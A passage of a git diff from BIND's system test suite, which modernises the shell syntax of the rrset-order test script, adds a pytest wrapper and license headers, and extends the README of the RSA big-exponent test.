+	j=$((i % 4))
+	dig_cmd @10.53.0.1 fixed.example > dig.out.fixed  || ret=1
+	if [ $i -le 4 ]; then
+	    cp dig.out.fixed dig.out.$j
+	else
+	    diff dig.out.fixed dig.out.$j >/dev/null && matches=$((matches + 1))
+	fi
     done
-    $DIFF dig.out.0 dig.out.1 >/dev/null && ret=1
-    $DIFF dig.out.0 dig.out.2 >/dev/null && ret=1
-    $DIFF dig.out.0 dig.out.3 >/dev/null && ret=1
-    $DIFF dig.out.1 dig.out.2 >/dev/null && ret=1
-    $DIFF dig.out.1 dig.out.3 >/dev/null && ret=1
-    $DIFF dig.out.2 dig.out.3 >/dev/null && ret=1
+    diff dig.out.0 dig.out.1 >/dev/null && ret=1
+    diff dig.out.0 dig.out.2 >/dev/null && ret=1
+    diff dig.out.0 dig.out.3 >/dev/null && ret=1
+    diff dig.out.1 dig.out.2 >/dev/null && ret=1
+    diff dig.out.1 dig.out.3 >/dev/null && ret=1
+    diff dig.out.2 dig.out.3 >/dev/null && ret=1
     if [ $matches -ne 16 ]; then ret=1; fi
     if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
+    status=$((status + ret))
 fi
 
 #
@@ -72,23 +80,23 @@ ret=0
 matches=0
 for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
 do
-    j=`expr $i % 4`
-    $DIGCMD @10.53.0.1 cyclic.example > dig.out.cyclic || ret=1
+    j=$((i % 4))
+    dig_cmd @10.53.0.1 cyclic.example > dig.out.cyclic || ret=1
     if [ $i -le 4 ]; then
-        cp dig.out.cyclic dig.out.$j
+	cp dig.out.cyclic dig.out.$j
     else
-        $DIFF dig.out.cyclic dig.out.$j >/dev/null && matches=`expr $matches + 1`
+	diff dig.out.cyclic dig.out.$j >/dev/null && matches=$((matches + 1))
     fi
 done
-$DIFF dig.out.0 dig.out.1 >/dev/null && ret=1
-$DIFF dig.out.0 dig.out.2 >/dev/null && ret=1
-$DIFF dig.out.0 dig.out.3 >/dev/null && ret=1
-$DIFF dig.out.1 dig.out.2 >/dev/null && ret=1
-$DIFF dig.out.1 dig.out.3 >/dev/null && ret=1
-$DIFF dig.out.2 dig.out.3 >/dev/null && ret=1
+diff dig.out.0 dig.out.1 >/dev/null && ret=1
+diff dig.out.0 dig.out.2 >/dev/null && ret=1
+diff dig.out.0 dig.out.3 >/dev/null && ret=1
+diff dig.out.1 dig.out.2 >/dev/null && ret=1
+diff dig.out.1 dig.out.3 >/dev/null && ret=1
+diff dig.out.2 dig.out.3 >/dev/null && ret=1
 if [ $matches -ne 16 ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 #
 #
@@ -98,36 +106,36 @@ ret=0
 matches=0
 for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
 do
-    j=`expr $i % 4`
-    $DIGCMD @10.53.0.1 cyclic2.example > dig.out.cyclic2 || ret=1
+    j=$((i % 4))
+    dig_cmd @10.53.0.1 cyclic2.example > dig.out.cyclic2 || ret=1
     if [ $i -le 4 ]; then
-        cp dig.out.cyclic2 dig.out.$j
+	cp dig.out.cyclic2 dig.out.$j
     else
-        $DIFF dig.out.cyclic2 dig.out.$j >/dev/null && matches=`expr $matches + 1`
+	diff dig.out.cyclic2 dig.out.$j >/dev/null && matches=$((matches + 1))
     fi
 done
-$DIFF dig.out.0 dig.out.1 >/dev/null && ret=1
-$DIFF dig.out.0 dig.out.2 >/dev/null && ret=1
-$DIFF dig.out.0 dig.out.3 >/dev/null && ret=1
-$DIFF dig.out.1 dig.out.2 >/dev/null && ret=1
-$DIFF dig.out.1 dig.out.3 >/dev/null && ret=1
-$DIFF dig.out.2 dig.out.3 >/dev/null && ret=1
+diff dig.out.0 dig.out.1 >/dev/null && ret=1
+diff dig.out.0 dig.out.2 >/dev/null && ret=1
+diff dig.out.0 dig.out.3 >/dev/null && ret=1
+diff dig.out.1 dig.out.2 >/dev/null && ret=1
+diff dig.out.1 dig.out.3 >/dev/null && ret=1
+diff dig.out.2 dig.out.3 >/dev/null && ret=1
 if [ $matches -ne 16 ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 echo_i "Checking order random (primary)"
 ret=0
 for i in $GOOD_RANDOM
 do
-	eval match$i=0
+    eval match$i=0
 done
 for i in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 9
 do
-    $DIGCMD @10.53.0.1 random.example > dig.out.random || ret=1
+    dig_cmd @10.53.0.1 random.example > dig.out.random || ret=1
     match=0
     for j in $GOOD_RANDOM
     do
-	eval "$DIFF dig.out.random dig.out.random.good$j >/dev/null && match$j=1 match=1"
+	eval "diff dig.out.random reference.dig.out.random.good$j >/dev/null && match$j=1 match=1 || true"
 	if [ $match -eq 1 ]; then break; fi
     done
     if [ $match -eq 0 ]; then ret=1; fi
@@ -135,27 +143,27 @@ done
 match=0
 for i in $GOOD_RANDOM
 do
-	eval "match=\`expr \$match + \$match$i\`"
+     eval "match=\$((match + match$i))"
 done
 echo_i "Random selection return $match of ${GOOD_RANDOM_NO} possible orders in 36 samples"
-if [ $match -lt `expr ${GOOD_RANDOM_NO} / 3` ]; then ret=1; fi
+if [ $match -lt $((GOOD_RANDOM_NO / 3)) ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Checking order none (primary)"
 ret=0
 # Fetch the "reference" response and ensure it contains the expected records.
-$DIGCMD @10.53.0.1 none.example > dig.out.none || ret=1
+dig_cmd @10.53.0.1 none.example > dig.out.none || ret=1
 for i in 1 2 3 4; do
-	grep -F -q 1.2.3.$i dig.out.none || ret=1
+    grep -F -q 1.2.3.$i dig.out.none || ret=1
 done
 # Ensure 20 further queries result in the same response as the "reference" one.
 for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
-	$DIGCMD @10.53.0.1 none.example > dig.out.test$i || ret=1
-	$DIFF dig.out.none dig.out.test$i >/dev/null || ret=1
+    dig_cmd @10.53.0.1 none.example > dig.out.test$i || ret=1
+    diff dig.out.none dig.out.test$i >/dev/null || ret=1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 #
 #
@@ -165,11 +173,11 @@ if $test_fixed; then
     ret=0
     for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
     do
-    $DIGCMD @10.53.0.2 fixed.example > dig.out.fixed || ret=1
-    $DIFF dig.out.fixed dig.out.fixed.good || ret=1
+    dig_cmd @10.53.0.2 fixed.example > dig.out.fixed || ret=1
+    diff dig.out.fixed reference.dig.out.fixed.good || ret=1
     done
     if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
+    status=$((status + ret))
 fi
 
 #
@@ -180,23 +188,23 @@ ret=0
 matches=0
 for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
 do
-    j=`expr $i % 4`
-    $DIGCMD @10.53.0.2 cyclic.example > dig.out.cyclic || ret=1
+    j=$((i % 4))
+    dig_cmd @10.53.0.2 cyclic.example > dig.out.cyclic || ret=1
     if [ $i -le 4 ]; then
-        cp dig.out.cyclic dig.out.$j
+	cp dig.out.cyclic dig.out.$j
     else
-        $DIFF dig.out.cyclic dig.out.$j >/dev/null && matches=`expr $matches + 1`
+	diff dig.out.cyclic dig.out.$j >/dev/null && matches=$((matches + 1))
     fi
 done
-$DIFF dig.out.0 dig.out.1 >/dev/null && ret=1
-$DIFF dig.out.0 dig.out.2 >/dev/null && ret=1
-$DIFF dig.out.0 dig.out.3 >/dev/null && ret=1
-$DIFF dig.out.1 dig.out.2 >/dev/null && ret=1
-$DIFF dig.out.1 dig.out.3 >/dev/null && ret=1
-$DIFF dig.out.2 dig.out.3 >/dev/null && ret=1
+diff dig.out.0 dig.out.1 >/dev/null && ret=1
+diff dig.out.0 dig.out.2 >/dev/null && ret=1
+diff dig.out.0 dig.out.3 >/dev/null && ret=1
+diff dig.out.1 dig.out.2 >/dev/null && ret=1
+diff dig.out.1 dig.out.3 >/dev/null && ret=1
+diff dig.out.2 dig.out.3 >/dev/null && ret=1
 if [ $matches -ne 16 ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 #
 #
@@ -206,37 +214,37 @@ ret=0
 matches=0
 for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
 do
-    j=`expr $i % 4`
-    $DIGCMD @10.53.0.2 cyclic2.example > dig.out.cyclic2 || ret=1
+    j=$((i % 4))
+    dig_cmd @10.53.0.2 cyclic2.example > dig.out.cyclic2 || ret=1
     if [ $i -le 4 ]; then
-        cp dig.out.cyclic2 dig.out.$j
+	cp dig.out.cyclic2 dig.out.$j
     else
-        $DIFF dig.out.cyclic2 dig.out.$j >/dev/null && matches=`expr $matches + 1`
+	diff dig.out.cyclic2 dig.out.$j >/dev/null && matches=$((matches + 1))
     fi
 done
-$DIFF dig.out.0 dig.out.1 >/dev/null && ret=1
-$DIFF dig.out.0 dig.out.2 >/dev/null && ret=1
-$DIFF dig.out.0 dig.out.3 >/dev/null && ret=1
-$DIFF dig.out.1 dig.out.2 >/dev/null && ret=1
-$DIFF dig.out.1 dig.out.3 >/dev/null && ret=1
-$DIFF dig.out.2 dig.out.3 >/dev/null && ret=1
+diff dig.out.0 dig.out.1 >/dev/null && ret=1
+diff dig.out.0 dig.out.2 >/dev/null && ret=1
+diff dig.out.0 dig.out.3 >/dev/null && ret=1
+diff dig.out.1 dig.out.2 >/dev/null && ret=1
+diff dig.out.1 dig.out.3 >/dev/null && ret=1
+diff dig.out.2 dig.out.3 >/dev/null && ret=1
 if [ $matches -ne 16 ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Checking order random (secondary)"
 ret=0
 for i in $GOOD_RANDOM
 do
-	eval match$i=0
+    eval match$i=0
 done
 for i in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 9
 do
-    $DIGCMD @10.53.0.2 random.example > dig.out.random || ret=1
+    dig_cmd @10.53.0.2 random.example > dig.out.random || ret=1
     match=0
     for j in $GOOD_RANDOM
     do
-	eval "$DIFF dig.out.random dig.out.random.good$j >/dev/null && match$j=1 match=1"
+	eval "diff dig.out.random reference.dig.out.random.good$j >/dev/null && match$j=1 match=1 || true"
 	if [ $match -eq 1 ]; then break; fi
     done
     if [ $match -eq 0 ]; then ret=1; fi
@@ -244,43 +252,43 @@ done
 match=0
 for i in $GOOD_RANDOM
 do
-eval "match=\`expr \$match + \$match$i\`"
+     eval "match=\$((match + match$i))"
 done
 echo_i "Random selection return $match of ${GOOD_RANDOM_NO} possible orders in 36 samples"
-if [ $match -lt `expr ${GOOD_RANDOM_NO} / 3` ]; then ret=1; fi
+if [ $match -lt $((GOOD_RANDOM_NO / 3)) ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Checking order none (secondary)"
 ret=0
 # Fetch the "reference" response and ensure it contains the expected records.
-$DIGCMD @10.53.0.2 none.example > dig.out.none || ret=1
+dig_cmd @10.53.0.2 none.example > dig.out.none || ret=1
 for i in 1 2 3 4; do
-	grep -F -q 1.2.3.$i dig.out.none || ret=1
+    grep -F -q 1.2.3.$i dig.out.none || ret=1
 done
 # Ensure 20 further queries result in the same response as the "reference" one.
 for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
-	$DIGCMD @10.53.0.2 none.example > dig.out.test$i || ret=1
-	$DIFF dig.out.none dig.out.test$i >/dev/null || ret=1
+    dig_cmd @10.53.0.2 none.example > dig.out.test$i || ret=1
+    diff dig.out.none dig.out.test$i >/dev/null || ret=1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Shutting down secondary"
 
-(cd ..; $SHELL stop.sh rrsetorder ns2 )
+stop_server ns2
 
 echo_i "Checking for secondary's on disk copy of zone"
 
 if [ ! -f ns2/root.bk ]
 then
-	echo_i "failed";
-	status=`expr $status + 1`
+    echo_i "failed";
+    status=$((status + 1))
 fi
 
 echo_i "Re-starting secondary"
 
-start_server --noclean --port ${PORT} rrsetorder ns2
+start_server --noclean --restart --port ${PORT} ns2
 
 #
 #
@@ -290,11 +298,11 @@ if $test_fixed; then
     ret=0
     for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
     do
-    $DIGCMD @10.53.0.2 fixed.example > dig.out.fixed || ret=1
-    $DIFF dig.out.fixed dig.out.fixed.good || ret=1
+    dig_cmd @10.53.0.2 fixed.example > dig.out.fixed || ret=1
+    diff dig.out.fixed reference.dig.out.fixed.good || ret=1
     done
     if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
+    status=$((status + ret))
 fi
 
 #
@@ -305,23 +313,23 @@ ret=0
 matches=0
 for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
 do
-    j=`expr $i % 4`
-    $DIGCMD @10.53.0.2 cyclic.example > dig.out.cyclic || ret=1
+    j=$((i % 4))
+    dig_cmd @10.53.0.2 cyclic.example > dig.out.cyclic || ret=1
     if [ $i -le 4 ]; then
-        cp dig.out.cyclic dig.out.$j
+	cp dig.out.cyclic dig.out.$j
     else
-        $DIFF dig.out.cyclic dig.out.$j >/dev/null && matches=`expr $matches + 1`
+	diff dig.out.cyclic dig.out.$j >/dev/null && matches=$((matches + 1))
     fi
 done
-$DIFF dig.out.0 dig.out.1 >/dev/null && ret=1
-$DIFF dig.out.0 dig.out.2 >/dev/null && ret=1
-$DIFF dig.out.0 dig.out.3 >/dev/null && ret=1
-$DIFF dig.out.1 dig.out.2 >/dev/null && ret=1
-$DIFF dig.out.1 dig.out.3 >/dev/null && ret=1
-$DIFF dig.out.2 dig.out.3 >/dev/null && ret=1
+diff dig.out.0 dig.out.1 >/dev/null && ret=1
+diff dig.out.0 dig.out.2 >/dev/null && ret=1
+diff dig.out.0 dig.out.3 >/dev/null && ret=1
+diff dig.out.1 dig.out.2 >/dev/null && ret=1
+diff dig.out.1 dig.out.3 >/dev/null && ret=1
+diff dig.out.2 dig.out.3 >/dev/null && ret=1
 if [ $matches -ne 16 ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 #
 #
@@ -331,65 +339,65 @@ ret=0
 matches=0
 for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
 do
-    j=`expr $i % 4`
-    $DIGCMD @10.53.0.2 cyclic2.example > dig.out.cyclic2 || ret=1
+    j=$((i % 4))
+    dig_cmd @10.53.0.2 cyclic2.example > dig.out.cyclic2 || ret=1
     if [ $i -le 4 ]; then
-        cp dig.out.cyclic2 dig.out.$j
+	cp dig.out.cyclic2 dig.out.$j
     else
-        $DIFF dig.out.cyclic2 dig.out.$j >/dev/null && matches=`expr $matches + 1`
+	diff dig.out.cyclic2 dig.out.$j >/dev/null && matches=$((matches + 1))
     fi
 done
-$DIFF dig.out.0 dig.out.1 >/dev/null && ret=1
-$DIFF dig.out.0 dig.out.2 >/dev/null && ret=1
-$DIFF dig.out.0 dig.out.3 >/dev/null && ret=1
-$DIFF dig.out.1 dig.out.2 >/dev/null && ret=1
-$DIFF dig.out.1 dig.out.3 >/dev/null && ret=1
-$DIFF dig.out.2 dig.out.3 >/dev/null && ret=1
+diff dig.out.0 dig.out.1 >/dev/null && ret=1
+diff dig.out.0 dig.out.2 >/dev/null && ret=1
+diff dig.out.0 dig.out.3 >/dev/null && ret=1
+diff dig.out.1 dig.out.2 >/dev/null && ret=1
+diff dig.out.1 dig.out.3 >/dev/null && ret=1
+diff dig.out.2 dig.out.3 >/dev/null && ret=1
 if [ $matches -ne 16 ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Checking order random (secondary loaded from disk)"
 ret=0
 for i in $GOOD_RANDOM
 do
-	eval match$i=0
+    eval match$i=0
 done
 for i in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 9
 do
-	$DIGCMD @10.53.0.2 random.example > dig.out.random || ret=1
-	match=0
-	for j in $GOOD_RANDOM
-	do
-		eval "$DIFF dig.out.random dig.out.random.good$j >/dev/null && match$j=1 match=1"
-		if [ $match -eq 1 ]; then break; fi
-	done
-	if [ $match -eq 0 ]; then ret=1; fi
+    dig_cmd @10.53.0.2 random.example > dig.out.random || ret=1
+    match=0
+    for j in $GOOD_RANDOM
+    do
+	eval "diff dig.out.random reference.dig.out.random.good$j >/dev/null && match$j=1 match=1 || true"
+	if [ $match -eq 1 ]; then break; fi
+    done
+    if [ $match -eq 0 ]; then ret=1; fi
 done
 match=0
 for i in $GOOD_RANDOM
 do
-eval "match=\`expr \$match + \$match$i\`"
+    eval "match=\$((match + match$i))"
 done
 echo_i "Random selection return $match of ${GOOD_RANDOM_NO} possible orders in 36 samples"
-if [ $match -lt `expr ${GOOD_RANDOM_NO} / 3` ]; then ret=1; fi
+if [ $match -lt $((GOOD_RANDOM_NO / 3)) ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Checking order none (secondary loaded from disk)"
 ret=0
 # Fetch the "reference" response and ensure it contains the expected records.
-$DIGCMD @10.53.0.2 none.example > dig.out.none || ret=1
+dig_cmd @10.53.0.2 none.example > dig.out.none || ret=1
 for i in 1 2 3 4; do
-	grep -F -q 1.2.3.$i dig.out.none || ret=1
+    grep -F -q 1.2.3.$i dig.out.none || ret=1
 done
 # Ensure 20 further queries result in the same response as the "reference" one.
 for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
-	$DIGCMD @10.53.0.2 none.example > dig.out.test$i || ret=1
-	$DIFF dig.out.none dig.out.test$i >/dev/null || ret=1
+    dig_cmd @10.53.0.2 none.example > dig.out.test$i || ret=1
+    diff dig.out.none dig.out.test$i >/dev/null || ret=1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 #
 #
@@ -399,11 +407,11 @@ if $test_fixed; then
     ret=0
     for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
     do
-    $DIGCMD @10.53.0.3 fixed.example > dig.out.fixed || ret=1
-    $DIFF dig.out.fixed dig.out.fixed.good || ret=1
+    dig_cmd @10.53.0.3 fixed.example > dig.out.fixed || ret=1
+    diff dig.out.fixed reference.dig.out.fixed.good || ret=1
     done
     if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
+    status=$((status + ret))
 fi
 
 #
@@ -412,27 +420,27 @@ fi
 echo_i "Checking order cyclic (cache + additional)"
 ret=0
 # prime acache
-$DIGCMD @10.53.0.3 cyclic.example > dig.out.cyclic || ret=1
+dig_cmd @10.53.0.3 cyclic.example > dig.out.cyclic || ret=1
 matches=0
 for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
 do
-    j=`expr $i % 4`
-    $DIGCMD @10.53.0.3 cyclic.example > dig.out.cyclic || ret=1
+    j=$((i % 4))
+    dig_cmd @10.53.0.3 cyclic.example > dig.out.cyclic || ret=1
     if [ $i -le 4 ]; then
-        cp dig.out.cyclic dig.out.$j
+	cp dig.out.cyclic dig.out.$j
     else
-        $DIFF dig.out.cyclic dig.out.$j >/dev/null && matches=`expr $matches + 1`
+	diff dig.out.cyclic dig.out.$j >/dev/null && matches=$((matches + 1))
     fi
 done
-$DIFF dig.out.0 dig.out.1 >/dev/null && ret=1
-$DIFF dig.out.0 dig.out.2 >/dev/null && ret=1
-$DIFF dig.out.0 dig.out.3 >/dev/null && ret=1
-$DIFF dig.out.1 dig.out.2 >/dev/null && ret=1
-$DIFF dig.out.1 dig.out.3 >/dev/null && ret=1
-$DIFF dig.out.2 dig.out.3 >/dev/null && ret=1
+diff dig.out.0 dig.out.1 >/dev/null && ret=1
+diff dig.out.0 dig.out.2 >/dev/null && ret=1
+diff dig.out.0 dig.out.3 >/dev/null && ret=1
+diff dig.out.1 dig.out.2 >/dev/null && ret=1
+diff dig.out.1 dig.out.3 >/dev/null && ret=1
+diff dig.out.2 dig.out.3 >/dev/null && ret=1
 if [ $matches -ne 16 ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 #
 #
@@ -440,110 +448,111 @@ status=`expr $status + $ret`
 echo_i "Checking order cyclic (cache)"
 ret=0
 # prime acache
-$DIGCMD @10.53.0.3 cyclic2.example > dig.out.cyclic2 || ret=1
+dig_cmd @10.53.0.3 cyclic2.example > dig.out.cyclic2 || ret=1
 matches=0
 for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
 do
-    j=`expr $i % 4`
-    $DIGCMD @10.53.0.3 cyclic2.example > dig.out.cyclic2 || ret=1
+    j=$((i % 4))
+    dig_cmd @10.53.0.3 cyclic2.example > dig.out.cyclic2 || ret=1
     if [ $i -le 4 ]; then
-        cp dig.out.cyclic2 dig.out.$j
+	cp dig.out.cyclic2 dig.out.$j
     else
-        $DIFF dig.out.cyclic2 dig.out.$j >/dev/null && matches=`expr $matches + 1`
+	diff dig.out.cyclic2 dig.out.$j >/dev/null && matches=$((matches + 1))
     fi
 done
-$DIFF dig.out.0 dig.out.1 >/dev/null && ret=1
-$DIFF dig.out.0 dig.out.2 >/dev/null && ret=1
-$DIFF dig.out.0 dig.out.3 >/dev/null && ret=1
-$DIFF dig.out.1 dig.out.2 >/dev/null && ret=1
-$DIFF dig.out.1 dig.out.3 >/dev/null && ret=1
-$DIFF dig.out.2 dig.out.3 >/dev/null && ret=1
+diff dig.out.0 dig.out.1 >/dev/null && ret=1
+diff dig.out.0 dig.out.2 >/dev/null && ret=1
+diff dig.out.0 dig.out.3 >/dev/null && ret=1
+diff dig.out.1 dig.out.2 >/dev/null && ret=1
+diff dig.out.1 dig.out.3 >/dev/null && ret=1
+diff dig.out.2 dig.out.3 >/dev/null && ret=1
 if [ $matches -ne 16 ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Checking order random (cache)"
 ret=0
 for i in $GOOD_RANDOM
 do
-	eval match$i=0
+    eval match$i=0
 done
 for i in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 9
 do
-	$DIGCMD @10.53.0.3 random.example > dig.out.random || ret=1
-	match=0
-	for j in $GOOD_RANDOM
-	do
-		eval "$DIFF dig.out.random dig.out.random.good$j >/dev/null && match$j=1 match=1"
-		if [ $match -eq 1 ]; then break; fi
-	done
-	if [ $match -eq 0 ]; then ret=1; fi
+    dig_cmd @10.53.0.3 random.example > dig.out.random || ret=1
+    match=0
+    for j in $GOOD_RANDOM
+    do
+	eval "diff dig.out.random reference.dig.out.random.good$j >/dev/null && match$j=1 match=1 || true"
+	if [ $match -eq 1 ]; then break; fi
+    done
+    if [ $match -eq 0 ]; then ret=1; fi
 done
 match=0
 for i in $GOOD_RANDOM
 do
-eval "match=\`expr \$match + \$match$i\`"
+     eval "match=\$((match + match$i))"
 done
 echo_i "Random selection return $match of ${GOOD_RANDOM_NO} possible orders in 36 samples"
-if [ $match -lt `expr ${GOOD_RANDOM_NO} / 3` ]; then ret=1; fi
+if [ $match -lt $((GOOD_RANDOM_NO / 3)) ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
 echo_i "Checking order none (cache)"
 ret=0
 # Fetch the "reference" response and ensure it contains the expected records.
-$DIGCMD @10.53.0.3 none.example > dig.out.none || ret=1
+dig_cmd @10.53.0.3 none.example > dig.out.none || ret=1
 for i in 1 2 3 4; do
-	grep -F -q 1.2.3.$i dig.out.none || ret=1
+    grep -F -q 1.2.3.$i dig.out.none || ret=1
 done
 # Ensure 20 further queries result in the same response as the "reference" one.
 for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
-	$DIGCMD @10.53.0.3 none.example > dig.out.test$i || ret=1
-	$DIFF dig.out.none dig.out.test$i >/dev/null || ret=1
+    dig_cmd @10.53.0.3 none.example > dig.out.test$i || ret=1
+    diff dig.out.none dig.out.test$i >/dev/null || ret=1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Checking default order (cache)"
 ret=0
 for i in $GOOD_RANDOM
 do
-	eval match$i=0
+    eval match$i=0
 done
 for i in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 9
 do
-	$DIGCMD @10.53.0.5 random.example > dig.out.random || ret=1
-	match=0
-	for j in $GOOD_RANDOM
-	do
-		eval "$DIFF dig.out.random dig.out.random.good$j >/dev/null && match$j=1 match=1"
-		if [ $match -eq 1 ]; then break; fi
-	done
-	if [ $match -eq 0 ]; then ret=1; fi
+    dig_cmd @10.53.0.5 random.example > dig.out.random || ret=1
+    match=0
+    for j in $GOOD_RANDOM
+    do
+	eval "diff dig.out.random reference.dig.out.random.good$j >/dev/null && match$j=1 match=1 || true"
+	if [ $match -eq 1 ]; then break; fi
+    done
+    if [ $match -eq 0 ]; then ret=1; fi
 done
 match=0
 for i in $GOOD_RANDOM
 do
-eval "match=\`expr \$match + \$match$i\`"
+     eval "match=\$((match + match$i))"
 done
 echo_i "Default selection return $match of ${GOOD_RANDOM_NO} possible orders in 36 samples"
-if [ $match -lt `expr ${GOOD_RANDOM_NO} / 3` ]; then ret=1; fi
+if [ $match -lt $((GOOD_RANDOM_NO / 3)) ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Checking default order no match in rrset-order (cache)"
 ret=0
 # Fetch the "reference" response and ensure it contains the expected records.
-$DIGCMD @10.53.0.4 nomatch.example > dig.out.nomatch || ret=1
+dig_cmd @10.53.0.4 nomatch.example > dig.out.nomatch || ret=1
 for i in 1 2 3 4; do
-	grep -F -q 1.2.3.$i dig.out.nomatch || ret=1
+    grep -F -q 1.2.3.$i dig.out.nomatch || ret=1
 done
 # Ensure 20 further queries result in the same response as the "reference" one.
 for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
-	$DIGCMD @10.53.0.4 nomatch.example > dig.out.test$i || ret=1
-	$DIFF dig.out.nomatch dig.out.test$i >/dev/null || ret=1
+    dig_cmd @10.53.0.4 nomatch.example > dig.out.test$i || ret=1
+    diff dig.out.nomatch dig.out.test$i >/dev/null || ret=1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/rrsetorder/tests_sh_rrsetorder.py b/bin/tests/system/rrsetorder/tests_sh_rrsetorder.py
new file mode 100644
index 0000000000..e413f97967
--- /dev/null
+++ b/bin/tests/system/rrsetorder/tests_sh_rrsetorder.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_rrsetorder(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/rsabigexponent/README.md b/bin/tests/system/rsabigexponent/README.md
index 4142221e45..44afdbd421 100644
--- a/bin/tests/system/rsabigexponent/README.md
+++ b/bin/tests/system/rsabigexponent/README.md
@@ -1,6 +1,13 @@
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 
 The `rsabigexponent` test is used to `check max-rsa-exponent-size`.
 
@@ -22,3 +29,11 @@ Do **not** remove `bigkey.c` as it may be needed to generate a new
 
 `bigkey` is used to both test that we are not running under PKCS#11 and
 generate a `DNSKEY` key with a large RSA exponent.
+
+To regenerate `ns2/example.db.bad` comment out the range test in
+opensslrsa_parse before signing the zone with a ZSK key generated
+by `bigkey`.
+
+        if (BN_num_bits(e) > RSA_MAX_PUBEXP_BITS) {
+                DST_RET(ISC_R_RANGE);
+        }
diff --git a/bin/tests/system/rsabigexponent/bigkey.c b/bin/tests/system/rsabigexponent/bigkey.c
index 5a143119bf..c1234df18f 100644
--- a/bin/tests/system/rsabigexponent/bigkey.c
+++ b/bin/tests/system/rsabigexponent/bigkey.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
